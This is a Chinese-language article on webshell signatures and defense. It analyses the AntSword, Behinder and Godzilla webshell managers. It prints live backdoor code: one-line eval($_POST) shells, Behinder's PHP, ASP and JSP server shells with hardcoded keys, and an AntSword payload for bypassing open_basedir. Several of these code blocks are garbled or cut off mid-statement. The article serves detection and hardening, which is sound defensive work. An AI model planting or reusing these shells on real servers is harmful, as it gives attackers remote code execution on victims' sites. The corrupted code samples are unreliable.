WebShell 特征分析
字数 1626 2025-08-10 22:07:53
WebShell特征分析与防御指南
1. WebShell概述
WebShell是一种恶意脚本,黑客通过上传这类脚本文件获得服务器的执行操作权限。常见的WebShell编写语言包括ASP、JSP和PHP。
1.1 WebShell的主要用途
- 网站管理
- 服务器管理
- 权限管理
- 作为后门程序控制网站服务器
1.2 常见一句话木马示例
<?php eval($_POST['shell']); ?>
2. 常见WebShell工具分析
2.1 蚁剑(AntSword)
2.1.1 基本介绍
- 开源跨平台网站管理工具
- GitHub项目地址: https://github.com/AntSwordProject/antSword
2.1.2 静态特征
- PHP中使用
assert、eval等命令执行函数 - 通过
create_function创建方法调用eval($_POST['ant']) - ASP使用
eval命令执行 - JSP使用Java类加载(
ClassLoader),带有base64编码解码特征
2.1.3 动态特征
- 请求体开头通常包含:
@ini_set("display_errors","0");@set_time_limit(0) - 结果返回格式:随机数+结果+随机数
- 使用base64编码器/解码器连接
- 随机生成参数传入base64编码后的代码
2.1.4 典型代码结构
@ini_set("display_errors", "0");@set_time_limit(0);$opdir=@ini_get("open_basedir");
if($opdir) {
$ocwd=dirname($_SERVER["SCRIPT_FILENAME"]);
$oparr=preg_split(base64_decode("Lzt8Oi8="),$opdir);
@array_push($oparr,$ocwd,sys_get_temp_dir());
foreach($oparr as $item) {
if(!@is_writable($item)) { continue; }
$tmdir=$item."/.f5fe04b0758";
@mkdir($tmdir);
if(!@file_exists($tmdir)) { continue; }
$tmdir=realpath($tmdir);
@chdir($tmdir);
@ini_set("open_basedir"cntarr=@preg_split(tmdir);
for ($i=0;$i<sizeof($cntarr);$i++) {
@chdir(ini_set("open_basedir"rmdir($tmdir);
break;
}
}
}
2.2 冰蝎(Behinder)
2.2.1 基本介绍
- 动态二进制加密网站管理客户端
- GitHub地址: https://github.com/rebeyond/Behinder
2.2.2 主要功能
- 基本信息查看
- 命令执行
- 虚拟终端
- 文件管理
- Socks代理
- 反弹shell
- 数据库管理
- 自定义代码
2.2.3 加密原理
- 服务端支持open_ssl时使用AES加密算法(密钥长度16位)
- 内存需求低,适合流量加密
2.2.4 静态特征
PHP版本特征:
<?php@error_reporting(0);session_start();
$key="e45e329feb5d925b"; //该密钥为连接密码32位md5值的前16位
$_SESSION['k']=$key;
session_write_close();
$post=file_get_contents("php://input");
if(!extension_loaded('openssl')) {
$t="base64_"."decode";
$post=$t($post."");
for($i=0;$i<strlen($post);$i++) {
$post[$i] = $post[$i]^$key[$i+1&15];
}
} else {
$post=openssl_decrypt($post, "AES128", $key);
}
$arr=explode('|',$post);
$func=$arr[0];
$params=$arr[1];
class C{public function __invoke($p) {eval($p.call_user_func(new C(),$params);?>
ASP版本特征:
<%Response.CharSet = "UTF-8"
k="e45e329feb5d925b" '该密钥为连接密码32位md5值的前16位
Session("k")=k
size=Request.TotalBytes
content=Request.BinaryRead(size)
For i=1 To size
result=result&Chr(ascb(midb(content,i,1)) Xor Asc(Mid(k,(i and 15)+1,1)))
Next
execute(result)%>
JSP版本特征:
<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%>
<%!class U extends ClassLoader {
U(ClassLoader c) { super(c); }
public Class g(byte []b) { return super.defineClass(b,0,b.length)
if (request.getMethod().equals("POST")) {
String k="e45e329feb5d925b"; /*该密钥为连接密码32位md5值的前16位*/
session.putValue("u",k);
Cipher c=Cipher.getInstance("AES");
c.init(2,new SecretKeySpec(k.getBytes(),"AES"));
new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);
}%>
2.2.5 动态特征
- 连接过程中存在客户端和服务器之间交换AES密钥的环节
- 请求包通常包含base64编码内容
- 执行流程:Payload -> base64加密 -> eval执行 -> AES对称加密 -> 传输
2.3 哥斯拉(Godzilla)
2.3.1 基本介绍
- GitHub下载地址: https://github.com/BeichenDream/Godzilla
2.3.2 静态特征
- JSP文件木马中常见"xc"、"pass"字符和Java反射特征
- PHP和ASP版本多为普通一句话木马:
<?php eval($_POST["shell"])?><%eval request("pass")%>
2.3.3 动态特征
- 所有请求中包含:
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 - 所有响应中包含:
Cache-Control: no-store, no-cache, must-revalidate - 执行流程:AES加密 -> Base64编码 -> MD5认证 -> 执行代码
2.3.4 功能函数
包含20多个功能函数,如:
runbypass_open_basedirformatParameterevalFunc- 代码执行
- 文件操作
- 数据库操作等
3. WebShell检测与防御
3.1 静态检测方法
- 文件扫描:定期扫描网站目录中的可疑文件
- 特征匹配:匹配已知WebShell的特征字符串
- 文件完整性检查:对比文件哈希值与原始版本
3.2 动态检测方法
- 流量分析:监控异常的网络请求模式
- 行为分析:检测异常的系统调用和文件操作
- 日志分析:检查访问日志中的可疑活动
3.3 防御措施
-
文件上传限制:
- 限制上传文件类型
- 设置文件大小限制
- 重命名上传文件
-
权限控制:
- 最小权限原则
- 禁用危险函数(如eval、system等)
- 设置open_basedir限制
-
系统加固:
- 保持系统和应用更新
- 禁用不必要的服务和功能
- 使用Web应用防火墙(WAF)
-
监控与响应:
- 实施实时监控
- 建立应急响应流程
- 定期安全审计
4. 总结
WebShell是常见的网站后门工具,蚁剑、冰蝎和哥斯拉是当前流行的WebShell管理工具。它们各有特点,但都试图通过加密和混淆来绕过安全检测。有效的防御需要结合静态和动态检测方法,并实施全面的安全措施。